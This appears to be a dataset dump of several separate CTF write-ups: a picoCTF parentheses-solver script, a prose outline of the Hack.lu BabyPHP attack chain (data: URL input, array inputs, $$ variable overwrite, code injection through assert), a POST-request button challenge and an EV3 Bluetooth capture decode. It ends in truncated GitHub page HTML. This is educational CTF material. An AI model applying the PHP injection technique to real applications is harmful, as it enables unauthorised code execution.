text_chunk
stringlengths
151
703k
When we connect to the server, we receive the following : ```Rules:() + () = ()() => [combine]((())) + () = ((())()) => [absorb-right]() + ((())) = (()(())) => [absorb-left](())(()) + () = (())(()()) => [combined-absorb-right]() + (())(()) = (()())(()) => [combined-absorb-left](())(()) + ((())) = ((())(())(())) => [absorb-combined-right]((())) + (())(()) = ((())(())(())) => [absorb-combined-left]() + (()) + ((())) = (()()) + ((())) = ((()())(())) => [left-associative] Example:(()) + () = () + (()) = (()()) Let's start with a warmup.(()(())) + (()()()) = ???``` We need to understand and implement those rules in order to answer the server'sprompts and get the flag. After some trial and error, I ended up with thefollowing script : ```pythonimport osimport socket class Pars: def __init__(self, value): self.value = value def __repr__(self): return self.value def __eq__(self, other): if not isinstance(other, Pars): raise ValueError('can only compare with Pars instance') return self.value == other.value def __len__(self): # returns the "depth" of nested parentheses: depths = [] cur_depth = 0 for char_ in self.value: if char_ == '(': cur_depth += 1 else: depths.append(cur_depth) cur_depth -= 1 return max(depths) def __add__(self, other): if not isinstance(other, Pars): raise ValueError('can only add with Pars instance') if self == other or len(self) == len(other): val = self.value + other.value elif (len(self) < len(other) and not other.is_combined()) or self.is_combined(): # absorb left val = f'({self.value}{other.value[1:]}' else: # absorb right val = f'{self.value[:-1]}{other.value})' return Pars(val) def is_combined(self): half1 = self.value[:len(self.value)//2] half2 = self.value[len(self.value)//2:] return half1 == half2 def solve(query): operands = [Pars(o.strip()) for o in query.split('+')] while len(operands) > 1: left = operands.pop(0) right = operands.pop(0) operands.insert(0, left + right) return operands[0] def netsolve(timeout=5.0): import socket hostname = '2018shell3.picoctf.com' port = 61344 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) s.settimeout(timeout) databuf = b'' while 1: data = s.recv(1024) databuf += data if b'>' in databuf: break datastring = databuf.decode('ascii') send_solution(s, datastring) s.shutdown(socket.SHUT_WR) s.close() def send_solution(sock, datastring): for line in datastring.split('\n'): if '= ???' in line: query = line.split('=')[0] solution = solve(query) sock.sendall((str(solution) + '\n').encode('ascii')) databuf = b'' while 1: data = sock.recv(1024) databuf += data if b'>' in databuf: break elif b'picoCTF{' in databuf: exit(databuf.decode('ascii')) ds = databuf.decode('ascii') send_solution(sock, ds) if __name__ == '__main__': netsolve() ``` This is using a class and python "magic methods" to overload the `+` and `=`operators as well the `len()` function. If we run the script, we get our flag :`picoCTF{5cr1pt1nG_l1k3_4_pRo_cde4078d}`.
In `Hack.lu 2018 - BabyPHP` challenge, there is an `unsanitized user input` vulnerability which results in `unintended behaviors` as well as `code injection`. First, we can provide a `data:` URL to `file_get_contents` to return the required value. Then, we should pass `Array` in the parameter, so we force `substr` and `sha1` return `null`. Also, we can override the values of arbitrary variables using `$$` in `PHP`. Finally, we can run arbitrary code by passing arbitrary `$bb` value into `assert` in order to print `$flag`. This is an interesting `web` challenge to learn how to attack `PHP` applications.
If we browse to a website, we are presented with the following form : ```html<form action="button1.php" method="POST"> <input type="submit" value="PUSH ME! I am your only hope!"/></form>``` Clicking the button takes us to a second page than has another button - thistime a link : ```htmlButton2``` If we click the second button, we are shown an error : ```html<form action="button2.php" method="POST"> FORM DISABLED. THIS INCIDENT HAS BEEN LOGGED AND REPORTED TO /dev/null </form>``` Now the hint was to look at the difference between the two buttons. 1. The first button was form pointing to `button1.php` with a `POST` method2. The second button was a link, meaning clicking it send a `GET` request3. In the error page there is a form that points to `button2.php` with a `POST` method This seems to indicate that we should try sending a `POST` requests to`button2.php` (I used [Burp Suite](https://portswigger.net/burp)'s proxy andrepeater for tha). And indeed when we do, we are given the flag :`picoCTF{button_button_whose_got_the_button_dfe8b73c}`.
This challenge provides a jpg file and a pklg file. The jpg is shown a part of string on LEGO EV3 device. Length of the string, I guess, might be **58**. EV3 is supported USB or Bluetooth connection. Bluetooth connection is hinted in the pklg file opened with Wireshark. Transmission is worked between two **RFCOMM** protocol entities. There are two types in all RFCOMM packages. Much attention should be focused on **Sent**, while the **Rcvd** packages are both same like each other. There are three different length of packages: **32, 33, 34**. After analysising, I notice three key position, shown below (I called them in turn as: **Order in group, Group number, Data**): ![](https://img2018.cnblogs.com/blog/908031/201810/908031-20181022112309293-1629771090.jpg) ![](https://img2018.cnblogs.com/blog/908031/201810/908031-20181022112320517-1937176487.jpg) ![](https://img2018.cnblogs.com/blog/908031/201810/908031-20181022112330114-323771902.jpg) if length == 32: Order in group 0x81 Group number 0x84 Dataif length == 33: 0x81 Order in group 0x81 Group number 0x84 Dataif length == 34: 0x82 Order in group 0x00 0x81 Group number 0x84 Data Sort them by Group number at first. If equal, sorted by Order in group. h,0a 28 68 i,14 28 69 t,1e 28 74 c,28 28 63 o,32 28 6f n,3c 28 6e {,46 28 7b m,50 28 6d ...... **hitcon{m1nd5t0rm_communication_and_firmware_developer_kit}**
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctf-write-ups/Pico CTF 2018/contacts at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="E7A3:380B:443DE1E:45C9DE7:641225B6" data-pjax-transient="true"/><meta name="html-safe-nonce" content="bb55f9e63419f082f9274ccbda5090d72d1b705f655344b2544bbe4a29aa04ff" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFN0EzOjM4MEI6NDQzREUxRTo0NUM5REU3OjY0MTIyNUI2IiwidmlzaXRvcl9pZCI6IjgzNTI0MjMzNjYwNjY1Nzg4NzAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="8d48f44f6ea8ff315a4a138958e736899aa345d5a075f711f775c68ebb623668" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:142745576" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-write-ups/Pico CTF 2018/contacts at master · 0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:image:alt" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-write-ups/Pico CTF 2018/contacts at master · 0n3m4ns4rmy/ctf-write-ups" /><meta property="og:url" content="https://github.com/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/0n3m4ns4rmy/ctf-write-ups git https://github.com/0n3m4ns4rmy/ctf-write-ups.git"> <meta name="octolytics-dimension-user_id" content="41856372" /><meta name="octolytics-dimension-user_login" content="0n3m4ns4rmy" /><meta name="octolytics-dimension-repository_id" content="142745576" /><meta name="octolytics-dimension-repository_nwo" content="0n3m4ns4rmy/ctf-write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142745576" /><meta name="octolytics-dimension-repository_network_root_nwo" content="0n3m4ns4rmy/ctf-write-ups" /> <link rel="canonical" href="https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/Pico%20CTF%202018/contacts" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 